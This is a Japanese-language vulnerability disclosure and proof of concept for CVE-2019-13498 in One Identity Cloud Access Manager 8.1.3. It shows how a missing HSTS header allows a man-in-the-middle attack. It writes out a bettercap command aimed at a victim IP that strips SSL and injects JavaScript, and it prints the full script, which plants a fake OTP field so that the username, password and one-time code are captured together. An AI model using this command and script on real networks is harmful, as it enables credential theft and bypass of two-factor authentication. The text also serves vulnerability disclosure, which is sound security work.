CVE-2019-13498

脆弱性タイトル: MITM - HSTS欠如による認証情報とコンテンツ操作
日付: 07/10/2019
脆弱性作者: Furqan Khan
ベンダーホームページ: https://www.oneidentity.com/
ソフトウェアリンク: https://www.oneidentity.com/products/cloud-access-manager/
バージョン: 8.1.3
テスト環境: Kali Linux , Windows 7 ,Ubantu 16.04

MITM攻撃を実施し、ユーザー名、パスワード、OTPを盗むために、bettercap 1.6を使用します。通常、OTPボックスは、ユーザーが正しいユーザー名とパスワードで認証に成功した後、アプリケーションの2ページ目に表示されます。しかし、SSLストリップとコンテンツ操作を利用して、ユーザー名とパスワードを入力する同じページにOTPテキストボックスを注入します。被害者はこの変更がアプリケーション自体からのものだと思い込み、ユーザー名、パスワード、OTPを入力してフォームを送信するでしょう。bettercapとプロキシをセットアップした攻撃者は、認証情報とOTPを取得し、それらを使ってアプリケーションにログインします。

使用したbettercapコマンドは:

bettercap -T 192.168.1.103 --proxy -P post --proxy-module injectjs --js-file inject_js.js

ここで192.168.1.103は被害者のIPアドレスです。被害者のIPが不明な場合でも、bettercapを使用してLAN（攻撃者と被害者が共通のネットワーク）全体のトラフィックをスニッフィングし、コンテンツを操作できます。

inject_js.jsの内容は以下の通り

<script>
 
function replace_payload()
{  


     var append_str='<div class="wrap-input100 validate-input m-b-20" data-validate="Password"><input class="cui-textbox" type="password"  id="passwordTextbox" name="passwordTextbox"><span class="focus-cui-textbox" data-placeholder="OTP"></span></div>';

     var text_div=$(".m-b-20");

     text_div.append(append_str);

    }

    function control(){setTimeout(replace_payload,2000);} control();
    
</script>

被害者が製品（Cloud Access Manager）をブラウズすると、キャッシュポイズニングとSSLストリップ（Bettercap）により、注入されたJavaScriptスニペットを介して被害者に配信されるページにOTPテキストボックスが注入されます。

接続がSSLストリップによってhttpにダウングレードされるため、すべてのトラフィックが攻撃者に見えるようになります。これにより、トラフィックを傍受し、被害者が送信したユーザー名、パスワード、OTPを確認できます。

ビンゴ！簡単でした！